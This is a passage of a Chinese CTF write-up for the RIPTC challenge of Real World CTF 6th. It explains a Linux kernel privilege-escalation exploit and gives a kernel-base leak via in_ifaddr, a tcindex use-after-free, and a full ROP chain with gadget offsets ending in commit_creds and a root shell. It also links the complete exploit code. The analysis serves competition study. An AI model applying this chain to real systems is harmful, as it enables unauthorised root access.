至于泄漏内核基地址，先找一找在kmalloc-cg-128中有没有可利用的结构体，借鉴使用user_key_payload进行信息泄漏的手法，CodeQL查询合适的结构体，虽然不多但可以使用in_ifaddr结构体，通过RTM_NEWADDR删除网卡上的IP地址，call_rcu写入inet_rcu_free_ifa的地址，再次使用越界读即可泄漏内核基地址。

【Real World CTF 6th Writeup】RIPTC Write-up

C
static struct in_ifaddr *inet_alloc_ifa(void)
{
return kzalloc(sizeof(struct in_ifaddr), GFP_KERNEL_ACCOUNT);
}

static void inet_rcu_free_ifa(struct rcu_head *head)
{
struct in_ifaddr *ifa = container_of(head, struct in_ifaddr, rcu_head);
if (ifa->ifa_dev)
in_dev_put(ifa->ifa_dev);
kfree(ifa);
}

static void inet_free_ifa(struct in_ifaddr *ifa)
{
call_rcu(&ifa->rcu_head, inet_rcu_free_ifa);
}

rop chain

最后的最后，要再次UAF触发tcindex的enqueue，需要在外面套一层dsmark始祖，通过SO_PRIORITY来指定优先级即可到最终的res。参考corjail的rop，提权后find_task_by_vpid找到task_struct后切换新的fs_struct即可。但需要注意下解决在__dev_queue_xmit中的rcu_read_lock_bh，解除对应的BH和rcu_read_lock，抢占计数减1的BUG：

C
kernel_offset = leaked_inet_rcu_free_ifa - 0xffffffff81e3b5d0;
memset(buf, 0, sizeof(buf));
memset(&msg, 0, sizeof(msg));

msg.mtype = 3;
*(uint64_t *)(msg.mtext) = kernel_offset + 0xffffffff81c77562; // enqueue: push rsi ; jmp qword ptr [rsi + 0x66]
*(uint64_t *)(msg.mtext + 32) = 0; // stab
*(uint32_t *)(msg.mtext + 168) = 0; // q.len
*(uint64_t *)(msg.mtext + 0x66) = kernel_offset + 0xffffffff8112af1e; // pop rsp ; pop r15 ; ret
*(uint64_t *)(msg.mtext + 8) = kernel_offset + 0xffffffff8108bbd8; // add rsp, 0xb0 ; jmp 0xffffffff82404c80

rop = (uint64_t *)(msg.mtext + 0xc0);
// rcu_read_lock_bh()
*rop++ = kernel_offset + 0xffffffff810b99e1; // pop rdi ; ret
*rop++ = kernel_offset + 0xffffffff81d435bd;
*rop++ = kernel_offset + 0xffffffff8103e8a8; // pop rsi ; ret
*rop++ = 0x200;
*rop++ = kernel_offset + 0xffffffff811941a0; // __local_bh_enable_ip(_THIS_IP_, SOFTIRQ_DISABLE_OFFSET)

// rcu_read_unlock()
*rop++ = kernel_offset + 0xffffffff8120e350; // __rcu_read_unlock

// BUG: scheduling while atomic: poc/224/0x00000002
*rop++ = kernel_offset + 0xffffffff810b99e1; // pop rdi ; ret
*rop++ = 1;
*rop++ = kernel_offset + 0xffffffff811c2d20; // preempt_count_sub

*rop++ = kernel_offset + 0xffffffff810b99e1; // pop rdi ; ret
*rop++ = 0;
*rop++ = kernel_offset + 0xffffffff811bb740; // prepare_kernel_cred

*rop++ = kernel_offset + 0xffffffff8108ef2b; // pop rcx ; ret
*rop++ = 0;
*rop++ = kernel_offset + 0xffffffff82068a2b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404c80
*rop++ = kernel_offset + 0xffffffff811bb490; // commit_creds

*rop++ = kernel_offset + 0xffffffff810b99e1; // pop rdi ; ret
*rop++ = kernel_offset + 0xffffffff837b1f20; // &init_fs
*rop++ = kernel_offset + 0xffffffff8144b900; // copy_fs_struct
*rop++ = kernel_offset + 0xffffffff811d9b0c; // push rax ; pop rbx ; jmp 0xffffffff82404c80

*rop++ = kernel_offset + 0xffffffff810b99e1; // pop rdi ; ret
*rop++ = getpid();
*rop++ = kernel_offset + 0xffffffff811b1e60; // find_task_by_vpid

*rop++ = kernel_offset + 0xffffffff8108ef2b; // pop rcx ; ret
*rop++ = 0x828;
*rop++ = kernel_offset + 0xffffffff810705fe; // add rax, rcx ; jmp 0xffffffff82404c80
*rop++ = kernel_offset + 0xffffffff816ac7a4; // mov qword ptr [rax], rbx ; add rsp, 0x10 ; xor eax, eax ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; jmp 0xffffffff82404c80
rop += 8;

*rop++ = kernel_offset + 0xffffffff82201146; // swapgs_restore_regs_and_return_to_usermode first mov
*rop++ = 0;
*rop++ = 0;
*rop++ = (uint64_t)&get_root_shell;
*rop++ = usr_cs;
*rop++ = usr_rflags;
*rop++ = usr_rsp;
*rop++ = usr_ss;

最终的exploit代码时间消耗不到半分钟，成功率接近100%，完整的利用代码可见：https://github.com/Larryxi/rwctf-6th-riptc

【Real World CTF 6th Writeup】RIPTC Write-up

0x04赛后总结

本次比赛中@N1ghtu仅用了一天就解出了该题目，也是这次比赛中的唯一解，可见他日常的积累与强劲的输出，解法具体而言使用EntryBleed泄漏内核地址，结合弹性对象pg_vec的特性（其为动态生成的堆地址数组），正好解决了2次引用的问题，堆的内容也是用户完全可控，丝滑又轻松地完成了题目的利用。

对于弹性结构体和偏移24减1的原语，有想过使用Dirty Pagetable的方法去利用，但还未来得及付诸实践，看来研究学习的征途依然漫长。巧妇难为无米之炊，个人认为漏洞挖掘和漏洞利用是相辅相成的，本质都是对于系统代码能力的hack，虽然角度不一样，从CTF比赛的角度而言需要给选手们更加丝滑的体验做一些平衡取舍，期待我们下一届RWCTF比赛的相遇，感谢。

【Real World CTF 6th Writeup】RIPTC Write-up

原文始发于微信公众号（长亭安全观察）：【Real World CTF 6th Writeup】RIPTC Write-up

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